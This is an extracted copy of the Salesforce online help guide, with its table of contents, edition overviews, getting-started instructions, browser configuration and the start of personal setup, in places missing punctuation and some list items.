Professional Documents
Culture Documents
names and marks. Other marks appearing herein may be trademarks of their respective owners.
Table of Contents
Table of Contents
Welcome.............................................................................................................................................1
What's New in Salesforce?....................................................................................................................1
Overview...................................................................................................................................................................................2
Getting Started..........................................................................................................................................................................9
Working in Salesforce........................................................................................................................28
Personal Setup.........................................................................................................................................................................28
Home Tab...............................................................................................................................................................................55
Accounts..................................................................................................................................................................................64
Activities................................................................................................................................................................................115
Contacts................................................................................................................................................................................182
Contact Roles........................................................................................................................................................................220
Contracts...............................................................................................................................................................................223
Custom Object Records........................................................................................................................................................236
Documents............................................................................................................................................................................247
Email.....................................................................................................................................................................................257
List Views..............................................................................................................................................................................272
Notes & Attachments...........................................................................................................................................................287
Salesforce CRM Content......................................................................................................................................................291
Salesforce for Google Apps...................................................................................................................................................321
Search and Tags....................................................................................................................................................................341
Salesforce Touch...................................................................................................................................................................381
Administering Salesforce..................................................................................................................385
Setting Up Your Organization..............................................................................................................................................385
Company Information...........................................................................................................................................................390
Multiple Currencies...............................................................................................................................................................447
Advanced Currency Management.........................................................................................................................................451
Divisions................................................................................................................................................................................454
Managing Mail Merge Templates.........................................................................................................................................465
Using Letterheads.................................................................................................................................................................469
Managing Email Templates..................................................................................................................................................472
Translation Workbench........................................................................................................................................................487
User Management.................................................................................................................................................................502
Security and Sharing..............................................................................................................................................................610
Data Management.................................................................................................................................................................750
Data.com Administration......................................................................................................................................................868
D&B Company Administration............................................................................................................................................882
Administering Data.com Clean.............................................................................................................................................891
Monitoring............................................................................................................................................................................912
Salesforce Mobile..................................................................................................................................................................942
Table of Contents
Administering Salesforce for Outlook.................................................................................................................................1012
Email Administration..........................................................................................................................................................1034
Search and Tags..................................................................................................................................................................1046
Customize...........................................................................................................................................................................1050
Critical Updates Console.....................................................................................................................................................1612
Force.com Sites...................................................................................................................................................................1616
Customer Portal..................................................................................................................................................................1664
Building Sites.................................................................................................................................2258
Site.com Overview...............................................................................................................................................................2258
Setting Up Users..................................................................................................................................................................2259
Getting Started with Siteforce.............................................................................................................................................2266
Creating and Managing Sites..............................................................................................................................................2275
Creating and Managing Folders..........................................................................................................................................2282
Importing and Managing Assets.........................................................................................................................................2283
Creating and Managing Pages.............................................................................................................................................2285
Adding Features and Page Elements...................................................................................................................................2297
Styling Your Website..........................................................................................................................................................2315
Working with Dynamic Data..............................................................................................................................................2328
Using Events to Create Animated Effects...........................................................................................................................2357
Editing Site Content...........................................................................................................................................................2361
Previewing Site.com Sites....................................................................................................................................................2370
Managing Domains and Live Sites.....................................................................................................................................2371
ii
Table of Contents
Chat.....................................................................................................................................................................................2454
Email Notifications.............................................................................................................................................................2459
Recommendations...............................................................................................................................................................2461
Moderating Chatter............................................................................................................................................................2463
Chatter Desktop..................................................................................................................................................................2465
Selling............................................................................................................................................2475
Account Teams...................................................................................................................................................................2475
Assets...................................................................................................................................................................................2481
Competitors.........................................................................................................................................................................2490
Forecasting..........................................................................................................................................................................2493
Customizable Forecasts.......................................................................................................................................................2501
Forecasts..............................................................................................................................................................................2512
Opportunities......................................................................................................................................................................2527
Quotes.................................................................................................................................................................................2547
Data.com.............................................................................................................................................................................2561
D&B Companies.................................................................................................................................................................2585
Data.com Clean...................................................................................................................................................................2592
Products...............................................................................................................................................................................2601
Team Selling.......................................................................................................................................................................2631
Territory Management........................................................................................................................................................2638
Salesforce for Wealth Management....................................................................................................................................2666
Relationship Groups............................................................................................................................................................2675
Salesforce for Outlook.........................................................................................................................................................2693
Connect for Outlook...........................................................................................................................................................2723
Connect for Lotus Notes.....................................................................................................................................................2751
Connect for Office..............................................................................................................................................................2781
Connect Offline..................................................................................................................................................................2788
Mail Merge..........................................................................................................................................................................2810
Marketing......................................................................................................................................2816
Campaigns...........................................................................................................................................................................2816
Leads...................................................................................................................................................................................2865
Salesforce for Google AdWords..........................................................................................................................................2898
Analytics........................................................................................................................................2912
Reporting.............................................................................................................................................................................2912
Dashboards..........................................................................................................................................................................3057
Report Types.......................................................................................................................................................................3105
Analytic Snapshots..............................................................................................................................................................3114
Providing Support..........................................................................................................................3129
Call Center..........................................................................................................................................................................3129
Cases....................................................................................................................................................................................3174
Using Case Feed..................................................................................................................................................................3215
Case Teams.........................................................................................................................................................................3228
iii
Table of Contents
Portals..................................................................................................................................................................................3240
Solutions..............................................................................................................................................................................3242
Salesforce Knowledge..........................................................................................................................................................3265
Console................................................................................................................................................................................3301
Service Cloud Console........................................................................................................................................................3312
Ideas....................................................................................................................................................................................3324
Answers...............................................................................................................................................................................3338
Chatter Service....................................................................................................................................................................3351
Social Media........................................................................................................................................................................3356
Entitlement Management...................................................................................................................................................3357
Partner Selling................................................................................................................................3416
Salesforce to Salesforce........................................................................................................................................................3416
Connection Finder..............................................................................................................................................................3449
Partners...............................................................................................................................................................................3453
Partner Portal......................................................................................................................................................................3458
Checkout.......................................................................................................................................3506
Checkout.............................................................................................................................................................................3506
More Resources..............................................................................................................................3511
FAQ....................................................................................................................................................................................3511
Printable Tip Sheets & User Guides...................................................................................................................................3703
Accessibility.........................................................................................................................................................................3712
Salesforce Online Help Glossary.........................................................................................................................................3722
Index..............................................................................................................................................3757
iv
WELCOME
Past Releases
For information about new features introduced in previous releases, see:
Overview
Introduction
OVERVIEW
Introduction
Your Edition determines which features and functionality you can access. To determine which Edition you are using, check
the title bar of your browser.
Welcome to the award-winning cloud-computing provider designed for you to manage your customer relationships, integrate
with other systems, and build your own applications. Salesforce includes the following products and services:
Salesforce Applications
Salesforce includes prebuilt applications for customer relationship management (CRM) ranging from sales force automation
to partner relationship management, marketing, and customer service.
Force.com Platform
The Force.com platform is the first platform as a service (PaaS), enabling developers to create and deliver any kind of
business application entirely on-demand and without software. The platform also includes easy-to-use, point-and-click
customization tools to help you create solutions for your unique business requirements, without any programming
experience.
Database.com
Database.com is a multitenant cloud database service thats designed to store data for mobile, social, web, and desktop
applications. You can use Database.com as the back-end database for applications that are written in any language, and
run on any platform or mobile device. Database.com's built-in social computing infrastructure and native support for
building sophisticated REST-based APIs enables you to create employee-facing, native mobile and social apps.
AppExchange
AppExchange is a marketplace featuring hundreds of cloud applications created by salesforce.com customers, developers,
and partners. Many of the applications are free and all of them are pre-integrated with Salesforce, enabling you to easily
and efficiently add functionality.
Overview
What Is an Edition?
Salesforce.com Community
Salesforce.com provides training, support, consulting, events, best practices, and discussion boards to help you be
successful. Visit Salesforce.com Community.
See Also:
Sales Cloud Overview
Service Cloud Overview
What Is an Edition?
Personal Edition
Group Edition
Professional Edition
Enterprise Edition
Unlimited Edition
Developer Edition
Database.com Edition
What Is an Edition?
Your Edition determines which features and functionality you can access. To determine which Edition you are using, check
the title bar of your browser.
Salesforce.com offers several bundles of its products and services, each geared toward a different set of business needs. These
bundles, called Editions, all have the same look and feel, but vary by feature, functionality, and pricing. For example, a feature
that is available in Professional Edition for an additional fee may be included in Enterprise Edition.
For a comparison chart of Editions and their features, see Selecting the right Salesforce Edition.
The online help describes all generally available features, including those that may not be available in your Edition. Refer to
the Available in: line at the top of a help topic to see if it applies to your Edition.
See Also:
Introduction
Personal Edition
Group Edition
Professional Edition
Enterprise Edition
Unlimited Edition
Developer Edition
Understanding User License Types
Overview
Personal Edition
Personal Edition
Personal Edition is a CRM solution designed for an individual sales representative or other single user. Personal Edition
provides access to key contact management features such as accounts, contacts, and synchronization with Microsoft Outlook.
It also provides sales representatives with sales tools such as opportunities. Beginning with the Summer '09 release which
occurred in June 2009, new organizations do not include access to opportunities. Organizations that signed up prior to June
2009 still have access to opportunities.
Contact Manager
Contact Manager is designed for small businesses and provides access to key contact management features including accounts,
contacts, activities, calendars, notes and attachments, and reports. Contact Manager also provides straightforward and easy-to-use
customization options. For more information about Contact Manager features, visit the Salesforce Pricing & Editions page.
Group Edition
Salesforce Group Edition is designed for small businesses and workgroups with a limited number of users. Group Edition
users can manage their customers from the start of the sales cycle through closing the deal to providing customer support and
service. Group Edition offers access to accounts, contacts, opportunities, leads, cases, dashboards, and reports. For more
information about Group Edition features, visit the Salesforce Pricing & Editions page.
See Also:
Tip sheet: Using Group Edition
Administrator tip sheet: Setting Up Group Edition
Professional Edition
Salesforce Professional Edition is designed for businesses who need full-featured CRM functionality. Professional Edition
includes straightforward and easy-to-use customization, integration, and administration tools to facilitate any small- to
mid-sized deployment. For more information about Professional Edition features, visit the Salesforce Pricing & Editions
page.
Enterprise Edition
Salesforce Enterprise Edition is designed to meet the needs of large and complex businesses. In addition to all of the functionality
available in Professional Edition, Enterprise Edition organizations get advanced customization and administration tools that
can support large-scale deployments. Enterprise Edition also includes access to the Web services API so you can easily integrate
Overview
Unlimited Edition
with back-office systems. For more information about Enterprise Edition features, visit the Salesforce Pricing & Editions
page.
See Also:
Administrator setup guide: Enterprise Edition Upgrade Guide
Force.com API Usage Limits
Unlimited Edition
Unlimited Edition is salesforce.com's flagship solution for maximizing CRM success and extending that success across the
entire enterprise through the Force.com platform. Unlimited Edition customers benefit from new levels of platform flexibility
for managing and sharing all of their information on demand.
Unlimited Edition includes all Enterprise Edition functionality plus Premier Support, full mobile access, unlimited custom
apps, increased storage limits, and more. For more information about Unlimited Edition features, visit the Salesforce Pricing
& Editions page.
See Also:
Enterprise Edition
Force.com API Usage Limits
Developer Edition
Developer Edition provides access to the Force.com platform and API. It allows developers to extend the Salesforce system,
integrate with other applications, and develop new tools and applications. Developer Edition provides access to many of the
features available with Enterprise Edition.
Salesforce.com does not provide technical support for Developer Edition. You can solicit help from the developer community
message boards available to registered users via the Force.com developer website - developer.force.com. Documentation for
Developer Edition is available from the Technical Library.
See Also:
Force.com API Usage Limits
Database.com Edition
Database.com is a multitenant cloud database service thats designed to store data for mobile, social, web, and desktop
applications. You can use Database.com as the back-end database for applications that are written in any language, and run
on any platform or mobile device. Database.com's built-in social computing infrastructure and native support for building
sophisticated REST-based APIs enables you to create employee-facing, native mobile and social apps.
As a Salesforce user, youre already using Database.com when youre performing tasks such as creating custom objects, managing
security, or importing data with the Force.com platform and API.
Overview
A standalone version of Database.com is available for developers who want to create applications that leverage other languages,
platforms, and devices.
See Also:
Getting Started with Database.com
The Sales Cloud helps you build stronger relationships with customers, gain better visibility into sales, and close more deals,
whether you're in the office or on the road. Sales Cloud features are listed below.
Selling
Account and Contact Management
Accounts
Account Teams
Contacts
Contact Roles
Data.com
Contracts
Opportunities
Opportunities
Products
Quotes
Competitors
Team Selling
Forecasts
Marketing
Leads
Campaigns
Salesforce for Google AdWords
Analytics
Analytic Tools
Reports
Dashboards
Overview
Partner Selling
Partners
Partner Portal
Salesforce to Salesforce
Productivity Resources
Collaboration
Chatter
Files Tab
Activities
Email
Salesforce for Outlook
Mail Merge
Content
Files Tab
Salesforce CRM Content
Document Library
Salesforce for Google Apps
Connect for Office
Mobile
Salesforce Mobile
Offline
Connect Offline
See Also:
Service Cloud Overview
Introduction
The Service Cloud helps you provide more responsive customer service, increase agent productivity, reduce service costs, and
gain better visibility into your service organization, whether you're in the office or on the road. Service Cloud features are listed
below.
Overview
Contact Center
Case Management
Cases
Case Feed
Case Teams
Email-to-Case
Web-to-Case
Console Tab
Service Cloud Console
Live Agent
Workflow
Telephony
Salesforce Knowledge
Data Categories
Solutions
Solutions
HTML Solutions
Entitlement Management
Email Templates
Web Portals
Customer Portal
Partner Portal
Community
Answers
Ideas
Salesforce for Twitter and Facebook
Getting Started
Analytics
Analytic Tools
Reports
Dashboards
Productivity Resources
Collaboration
Chatter
Files Tab
Activities
Email
Salesforce for Outlook
Mail Merge
Content
Files Tab
Salesforce CRM Content
Document Library
Salesforce for Google Apps
Connect for Office
Mobile
Salesforce Mobile
Offline
Connect Offline
See Also:
Sales Cloud Overview
Introduction
GETTING STARTED
Getting Started with Salesforce
Available in: All Editions except Database.com
With Salesforce, you can enter, organize, and find your important business data. To get started, review these preliminary steps.
Getting Started
Trial Overview
For Administrators
For Developers
See Also:
Language Settings Overview
Error Messages
Entering Data
The Salesforce Web user interface, Salesforce for Outlook, Connect for Outlook, Connect Offline, and Connect for Office
are available in multiple languages.
The Salesforce Web user interface has two language settings:
Personal languageAll on-screen text, images, buttons, and online help display in this language. Edit your personal
information to change this setting.
Default organization languageThis applies to all new users until they select their personal language. This setting also
determines the language in which all customizationssuch as custom fields, tabs, and user interface optionsare stored.
For customizations, users' personal language settings don't override this default setting. Some setup items that are manually
entered by an administrator can be translated in the Translation Workbench.
Administrators can change this setting by editing the company information.
Trial Overview
Available in: All Editions except Database.com
During your trial, you can evaluate Salesforce before you subscribe. Your trial includes:
10
Getting Started
Trial Overview
Sample data. You can delete sample data or start a new trial.
Administrator privileges. The person who signed up automatically becomes the administrator. You can add another
administrator when you add more users.
A variety of Salesforce features.
The ability to subscribe to Salesforce.
Note: Features included in your trial may not be available in the Edition you choose to purchase.
If you set up multiple users in your trial and later choose to convert to Personal Edition, all users except the original
system administrator will be deactivated.
See Also:
Adding or Subtracting User Licenses
When you sign up for Salesforce, your organization is initially populated with some sample data. During your trial period,
administrators can delete all of this sample data plus all of your organizations data at one time.
To delete all of the existing data in a trial organization:
1. Click Your Name > Setup > Data Management > Delete All Data. This link is available only during your trial period.
2. Enter the requested text stating that you understand that all of the data in your organization will be deleted. This includes
both sample data and data you have entered. Your user and administration setup is not affected.
3. Click Submit.
After your trial period has ended, you can delete any sample data manually or with the Mass Delete feature.
See Also:
Trial Overview
Starting a New Trial
11
Getting Started
When you sign up for Salesforce, you can choose an industry-specific template with sample data. During your trial period,
you can start a new trial with a blank template. To start a new trial, you must abandon your current trial, including all data
and customizations.
You can start a new trial if you have:
See Also:
Trial Overview
Deleting Trial Data
12
Getting Started
Navigating
2. You receive an email with a link. Click the link to log in.
3. While logging in, you are prompted to change your password, and set a security question response.
The first time you log in you are prompted to change the temporary password that was emailed to you. Salesforce recommends
that you change your password periodically to protect the privacy of your data. If your administrator has set the User
passwords expires in setting, you must change your password periodically.
Overcoming password issues:
The password policies set up by your administrator determine how many failed logins are allowed, how long the lockout period
lasts, and password requirements such as minimum length.
Note: If your session is inactive for a period of time, the system prompts you to continue working or log out. If you
don't respond to this time-out prompt, the system displays a login page.
Navigating
Available in: All Editions except Database.com
You can navigate between pages and select options using standard text and button links.
On any detail page you can click the Back to List: link to return to your most recently viewed list page. The kind of list
that you will be returning to is appended after the colon. For example, if the last list page you viewed was the 'D' page of
the All Accounts view, clicking Back to List: Accounts returns you to that page. Similarly, if your most recently viewed
list page was a list of cases, then the link would be Back to List: Cases. The link isn't available if you haven't viewed any
list pages in your current session.
If your organization has enabled collapsible page sections, use the arrow icons next to the section headings to expand or
collapse each section on the detail page.
Note: Buttons and links mentioned in the online help only display for users who have the appropriate user permissions.
See Also:
About the Sidebar
Navigating Long Lists
13
Getting Started
Entering Data
Entering Data
Available in: All Editions except Database.com
See Also:
Entering Dates and Times
Entering Currency
Entering Phone Numbers
Selecting Picklist Values
Many fields allow you to enter a date or a time in the format specified by your Locale setting. For more information about
these formats, see What format is used for dates, times, and names in Salesforce? on page 3515.
To enter a time, do one of the following:
Click the link next to the field on the edit page to enter the current time.
Manually enter a time in the format allowed by your Locale setting.
To enter a date:
1. Click in the date or date/time field on an edit page.
2. Choose a date from the calendar, or manually enter a date.
All dates display with four digits for the year, although you can enter two or four digits according to these guidelines.
Examples are shown in the English (United States) locale:
Enter two digits from 00 to 59 for years 2000 - 2059, for example, 12/30/40 is saved as December 30, 2040
Enter two digits from 60 to 99 for years 1960 - 1999, for example, 12/30/60 is saved as December 30, 1960
Enter four digits for any year from 1700 to 4000
14
Getting Started
Entering Data
Range
Yesterday
Today
Tomorrow
Monday
Tuesday
Wednesday
Thursday
Friday
Saturday
Sunday
mm/dd
The values for the day and month and the current year. For
example, 12/31 would expand to 12/31/2009 if the year is
2009.
mm.dd
The values for the day and month and the current year. For
example, 12.31 would expand to 12/31/2009 if the year is
2009.
mm-dd
The values for the day and month and the current year. For
example, 12-31 would expand to 12/31/2009 if the year is
2009.
If the field is a date/time field, the time is set to the current time. These literal date values are not case sensitive.
Tip: You can set these literal date values using the first three letters. For example, yes for yesterday or mon for
Monday.
15
Getting Started
Entering Data
Note: These values are offset by your time zone. For example, in the Pacific time zone, the earliest valid date is
1699-12-31T16:00:00, or 4:00 PM on December 31, 1699.
See Also:
Entering Data
Entering Currency
Entering Phone Numbers
Selecting Picklist Values
Entering Currency
Available in: All Editions except Database.com
In currency fields such as Quota or Annual Revenue, the Currency Locale setting in your Company Information
determines the format and currency type of amounts you enter. For Group, Professional, Enterprise, and Unlimited Edition
organizations that use multiple currencies, the format and currency type is determined by the Currency field in the record.
When you enter a monetary amount (or any other type of number), you can use the shortcuts k, m, or b to indicate thousands,
millions, or billions. For example, when you enter 50k it displays as 50,000. However, these shortcuts do not work for filter
criteria.
See Also:
Entering Data
Entering Dates and Times
Entering Phone Numbers
Selecting Picklist Values
Managing Multiple Currencies
When you enter phone numbers in various phone fields, Salesforce preserves whatever phone number format you enter.
However, if your Locale is set to English (United States) or English (Canada), ten-digit phone numbers and eleven-digit
numbers that start with 1 are automatically formatted as (800) 555-1212 when you save the record. If you do not want
this formatting for a ten- or eleven-digit number, enter a + before the number, for example, +49 8178 94 07-0.
16
Getting Started
Entering Data
Note: If your ten- and eleven-digit phone numbers have Salesforces automatic format, you may need to enter the
parentheses when specifying filter conditions in areas such as custom reports, custom views, and lead assignment rules,
for example, Phone starts with (415).
See Also:
Entering Data
Entering Dates and Times
Entering Currency
Selecting Picklist Values
icon. Hover your mouse over the icon to display the name of the controlling or dependent picklist.
See Also:
Entering Data
Entering Dates and Times
Entering Currency
Entering Phone Numbers
Customize Application
Inline editing allows users to quickly change field values on a record's detail page, saving the user from having to access the
record's edit page first.
17
Getting Started
Entering Data
To enable inline editing for your organization, see Customizing User Interface Settings on page 1601.
To edit a record using inline editing:
1. Hover your mouse over the field you want to change:
2. Double-click the highlighted region next to the field. The field changes to edit mode. Salesforce displays compound fields
in a dialog box so that all portions of the field can be edited. Examples of compound fields include addresses, first and last
names, dependent picklists, and dependent lookups.
3. Enter the new value. Press Esc while your cursor is in a field's edit box to revert a change for that field.
4. Click away from the field to confirm your change and continue making edits. If you are editing a field that is not a text
area field, you can also press Enter to confirm your change. Confirmed changes display in bold orange text. To revert a
change, click next to the field.
5. Press Enter again or click Save to commit all confirmed changes.
Important: Salesforce doesn't save confirmed changes to field values until you commit them by pressing the
Enter key a second time or clicking Save. Navigating away from the page without committing changes cancels
all edits made to the record.
Press Enter while your cursor is in a field's edit box to confirm the change for that field.
Press Enter when no fields are in edit mode to save all edits to the record.
Unsupported Behaviors
Removing the Edit button from a page layout doesn't prevent users from modifying the record using inline editing. To
prevent users from editing data altogether, administrators should use any combination of sharing rules, field-level security,
page layout field properties, validation rules, permissions or Visualforce pages.
Inline editing isn't available for users with accessibility mode enabled.
Inline editing isn't available for the following standard checkboxes on case and lead edit pages:
Case Assignment (Assign using active assignment rules)
Case Email Notification (Send notification email to contact)
Lead Assignment (Assign using active assignment rule)
18
Getting Started
Entering Data
Full name fields of Person Accounts, Contacts, and Leads. However, their component fields are, for example, First
Name and Last Name.
Special Cases
Inline editing is available on detail pages for all editable fields on edit pages, except for some fields on tasks, events, price
books, and documents. To edit any of these, navigate to the edit page of a record, change the value of the field desired,
and then click Save. The following table lists the objects that have inline editing restrictions on some of their fields. You
may need special permissions to view some of these fields:
Object
Fields
All Objects
Opportunities
All fields are editable, except the following fields are only editable on detail pages (not
on list views):
Amount
Stage
Forecast Category
Quantity
Leads
All fields are editable, except Lead Status is only editable on detail pages (not on list
views).
Cases
All fields are editable, except Case Status is only editable on detail pages (not on list
views).
Contracts
All fields are editable, except Contract Status is only editable on detail pages (not
on list views).
Events
Tasks
Documents
Pricebooks
19
Getting Started
Accessing Data
Error Messages
While using Salesforce, you may occasionally get an error message. Typically, this happens when you try to view, edit, or delete
information to which you don't have access. The message page that displays should explain the reason for the error. Click your
browsers Back button to return to the previous page. If you feel you have incorrectly received an error, click Help & Training
at the top of any page and select the My Cases tab to submit your issue directly to Customer Support.
Accessing Data
Available in: All Editions except Database.com
Your administrator can customize many different areas to secure your company's data. Additionally, users in Professional,
Enterprise, Unlimited, and Developer edition organizations can control the access that other users have to their data by sharing
records individually with colleagues.
To determine whether you can access data, review this table:
Action
Access Needed
To view a tab:
To view a record:
To view a field:
20
Getting Started
Action
Access Needed
To edit a field:
The Salesforce Help site gives you the information you need to be successful. You can:
21
Getting Started
Supported Browsers
Print Help
Click Print this page from any Help page to print a single page. To print the entire user guide, which is a PDF version
of the help documentation, click Printable User Guide in the Documentation gadget or from any Help page. Because
the user guide is thousands of pages, we recommend you print only a single page or a range of pages.
Download Tip Sheets and Other Guides
You can find tip sheets, user guides, and other resources from Printable Tip Sheets & User Guides on page 3703. You can
also access these documents from the Documentation gadget on the Help site home page.
Review Documentation for Force.com Developers
If you are working with the Force.com platform, you'll find the information you need in Documentation Resources for
Force.com Developers on page 2163. You can also access developer documentation from the Documentation gadget on
the Help site home page.
Contact Support
Click Contact Support on the Help site to choose your support option: talk by phone, chat, open a case, post a question
to the Salesforce community, or take another action.
Note: Salesforce.com makes every effort to ensure the accuracy of the information contained within the Help site,
but assumes no responsibility or liability for any errors or inaccuracies that may appear. If you do find any errors, please
use the feedback form at the bottom of every help page.
See Also:
Custom Help Overview
Replacing Salesforce Online Help
Supported Browsers
Salesforce supports the following browsers:
Browser
Comments
If you use Internet Explorer, Salesforce recommends using the latest version.
Apply all Microsoft hotfixes. The compatibility view feature in Internet
Explorer 8 and 9 is not supported in Salesforce. For configuration
recommendations, see Configuring Internet Explorer on page 26.
Mozilla Firefox, most recent stable version Salesforce.com makes every effort to test and support the most recent version
of Firefox. For configuration recommendations, see Configuring Firefox on
page 24.
Google Chrome, most recent stable version Google Chrome applies updates automatically; Salesforce.com makes every
effort to test and support the most recent version. There are no configuration
recommendations for Chrome. Chrome is not supported for the Console tab
or the Add Google Doc to Salesforce browser button.
Google Chrome Frame plug-in for
Microsoft Internet Explorer 6
Supported plug-in for Internet Explorer 6 only. Google Chrome Frame applies
updates automatically; Salesforce.com supports only the most recent version.
22
Getting Started
Supported Browsers
Browser
Comments
For configuration recommendations, see Installing Google Chrome Frame
for Microsoft Internet Explorer on page 27. Chrome Frame plug-in is not
supported for the Service Cloud console or Forecasts.
Note: Salesforce.com uses the following domains to deliver content. If your users are allowed general access to the
Internet, there is no required action. If you whitelist domains, you must add these to your list of allowed domains. If
youve disabled third-party cookies (typically enabled by default in all major browsers), you must accept them for
Salesforce to function properly.
*.staticforce.com
*.content.force.com
*.force.com
*.salesforce.com
Important: For all browsers you must enable JavaScript, cookies, and SSL 3.0.
Some third-party Web browser plug-ins and extensions can interfere with the functionality of Chatter. If you experience
malfunctions or inconsistent behavior with Chatter, disable all of the Web browser's plug-ins and extensions and try
again.
Salesforce.com recommends a minimum screen resolution of 1024 x 768 for the best possible user experience. Screen
resolutions smaller than 1024 x 768 may cause issues displaying Salesforce features such as Report Builder and Page
Layout Editor.
Refer to the documentation for those products for specific information. Other requirements can be found in Salesforce
System Requirements.
Feature Support
As of Summer 12, salesforce.com has discontinued support for Internet Explorer 6. Existing features that have previously
worked in this browser may continue to work through 2014. Note these support restrictions.
Chatter
Global search
Answers
Cloud Scheduler
The new user interface theme
Quote Template Editor
Service Cloud Console
Forecasts
Chatter Answers
Enhanced profile user interface
Site.com
Schema Builder
23
Getting Started
Supported Browsers
Joined reports
Enhanced dashboard charting options
Certain features in Salesforceas well as some desktop clients, toolkits, and adaptershave their own browser requirements.
For example:
See Also:
Tip sheet: Browser Support and Configuration
Configuring Firefox
Available in: All Editions
Salesforce.com makes every effort to test and support the most recent version of Firefox.
Tip: Setting privacy.sanitize.sanitizeOnShutdown to True causes the cache to clear when Firefox shuts down. This
increases privacy, but may decrease performance.
To view the contents of your cache, type about:cache in the Firefox location bar and press Enter.
Refer to MozillaZine Knowledge Base and Firefox Support Home Page for more information on these and other
preferences.
Required Settings
The following settings are required:
1. Click Tools > Options.
2. Enable JavaScript:
a. Go to the Content panel.
b. Select the Enable JavaScript option.
3. Accept cookies:
a.
b.
c.
d.
24
Getting Started
Supported Browsers
Advanced Settings
Optionally, configure advanced caching preferences to maximize performance:
1. Type about:config in the browser's location bar, and then press Enter.
2. If a warning displays, click I'll be careful, I promise!.
3. Search for the following preferences and set them to the recommended value by double-clicking the preference name.
Changes take effect immediately.
4. Change how the browser retains common resources across requests by setting the following caching preferences.
Preference
Recommended Value
Default Value
browser.cache.check_doc_frequency
browser.cache.disk.capacity
50,000
browser.cache.disk.enable
True
True
browser.cache.disk_cache_ssl
True
False
browser.cache.memory.enable
True
True
network.http.use-cache
True
True
Note: You can set some of these preferences by clicking Tools > Options in the Firefox browser. Refer to Firefox
Help for details.
Tip: Setting privacy.sanitize.sanitizeOnShutdown to True causes the cache to clear when Firefox shuts down. This
increases privacy, but may decrease performance.
To view the contents of your cache, type about:cache in the Firefox location bar and press Enter.
Refer to MozillaZine Knowledge Base and Firefox Support Home Page for more information on these and other
preferences.
See Also:
Supported Browsers
25
Getting Started
Supported Browsers
If you use Internet Explorer, Salesforce recommends using the latest version. Apply all Microsoft hotfixes.
To maximize the performance of Internet Explorer, set the following options in the Internet Options dialog box, which you
can open by clicking Tools > Internet Options:
General Tab
1. From the General tab, click Settings under Browsing History.
2. For the Check for newer versions of stored pages option, select Automatically.
3. For the Disk space to use option , enter at least 50 MB.
Security Tab
1. From the Security tab, click Custom Level under Internet and scroll to the Scripting section.
2. Make sure the Active Scripting option is enabled. JavaScript depends on this setting being enabled.
Privacy Tab
1.
2.
3.
4.
Advanced Tab
From the Advanced tab, scroll to the Security section and do the following:
See Also:
Supported Browsers
26
Getting Started
Supported Browsers
Salesforce supports Google Chrome Frame for Internet Explorer version 6 only. Google Chrome Frame enables Internet
Explorer to utilize features such as the new user interface theme and Chatter.
To install Google Chrome Frame for Internet Explorer:
1.
2.
3.
4.
Keep in mind, make sure you dont disable Google Chrome Frame in Internet Explorer. Disabling this can result in missing
information on your Web pages.
27
WORKING IN SALESFORCE
PERSONAL SETUP
Personal Setup Overview
The available setup options vary according to which Salesforce Edition you have.
The Personal Setup page, accessed by clicking Your Name > Setup > Personal Setup, contains setup and customization
options to help you personalize the application for your personal use.
The sidebar includes tools for browsing and searching setup options.
My Personal Information
Expand the My Personal Information folder under Personal Setup to access the following options.
Personal InformationEdit your user information, view login history, and more (see Editing Your Personal Information
on page 30).
Change My PasswordChange your password (see Changing Your Password on page 43).
Reset My Security TokenReset the security token that you may need to log into Salesforce from outside your company's
trusted network (see Resetting Your Security Token on page 45).
My GroupsAdd, update, or delete your personal groups (see About Groups on page 589).
Change My DisplayCustomize your display of tabs and related lists (see Customizing Your Display on page 42).
Grant Login AccessAllow salesforce.com Customer Support representatives or your administrator to log in to your
account (see Granting Login Access on page 31).
Calendar SharingAllow other users, personal and public groups, roles, or roles and subordinates to view your calendar
(see Granting Access to Your Calendar on page 48).
RemindersSet your personal preferences for activity reminders (see Setting Reminders on Activities on page 131).
Record Type SelectionSet your preferences for automatic selection of default record types (see Setting Record Type
Preferences on page 49).
Email
Expand the Email folder under Personal Setup to access the following options.
My Email SettingsSet your outbound email settings (see Editing Email Settings on page 47).
My TemplatesCreate and edit your own email templates (see Managing Email Templates on page 472).
My Stay-in-Touch SettingsSet your preferences for emails requesting contact information updates (see Editing
Stay-in-Touch Settings on page 47).
28
Personal Setup
Import
Expand the Import folder under Personal Setup to access the following options.
Import My Accounts & ContactsImport accounts and contacts that you own (see Import My Contacts on page 809).
Import My Person AccountsImport person accounts that you own. Note that your administrator may have customized
the text of this link.
Desktop Integration
Expand the Desktop Integration folder under Personal Setup to access the following options.
Check for UpdatesSee what desktop client versions you have and install updates (see Checking for Desktop Client
Updates on page 51).
Salesforce for OutlookInstall Salesforce for Outlook to integrate your data with Microsoft Outlook (see Salesforce
for Outlook Overview on page 2693). To download Connect for Outlook, see Force.com Connect for Microsoft Outlook
Overview on page 2723.
Connect for OfficeInstall Connect for Office to integrate your data with Microsoft Word and Excel (see Force.com
Connect for Microsoft Office Overview on page 2781).
Connect OfflineInstall Connect Offline to work remotely when you are not online (see Force.com Connect Offline
Overview on page 2788).
Connect for Lotus NotesDownload the Connect for Lotus Notes integration plug-in (see Force.com Connect for Lotus
Notes Overview on page 2751).
My Chatter Settings
Expand the My Chatter Settings folder under Personal Setup to access the following options.
My Feeds
Automatically follow records you created (see Automatically Following Records You Own on page 2415).
Receive approval request as private Chatter posts (see Enabling or Disabling Approval Request Posts on page 54).
Chatter Email SettingsConfigure when and how frequently you want Chatter to send you emails (see Configuring
Chatter Email Notifications and Digests on page 2459).
SettingsConfigure the social networks and services that you want to use to see your accounts', contacts', and leads' social
information, or turn off the Social Accounts and Contacts feature if you don't want to use it (see Configuring Your Social
Accounts and Contacts Settings on page 2881).
My SoftPhone SettingsSet your SoftPhone user preferences (see Editing Personal SoftPhone Settings on page 3150).
29
Personal Setup
To update your personal information, click Your Name > Setup > My Personal Information > Personal Information.
Administrators can edit any users information as described in Editing Users on page 507.
From the personal information page, you can change the following:
Public Group MembershipLists the public groups to which you belong, as determined by your administrator.
Managers in the Role HierarchyLists the users above you in the role hierarchy, as defined by your administrator. See
Managers in the Role Hierarchy on page 32.
TerritoriesLists the territories to which you are assigned. See Managing Users in Territories on page 2650.
Assigned Mobile DevicesLists the mobile device from which you activated Salesforce Mobile for your Salesforce account.
See Managing Mobile Devices on page 1003.
Remote AccessLists the remote access applications that you have granted access to.
Third-Party Account LinksLists the external authentication providers youve granted access to. You can revoke their
access at any time.
See Also:
Personal Setup Overview
Changing Your Default Division
30
Personal Setup
See Also:
Editing Your Personal Information
To assist you, your administrator or a customer support representative may need to log in to the application using your login.
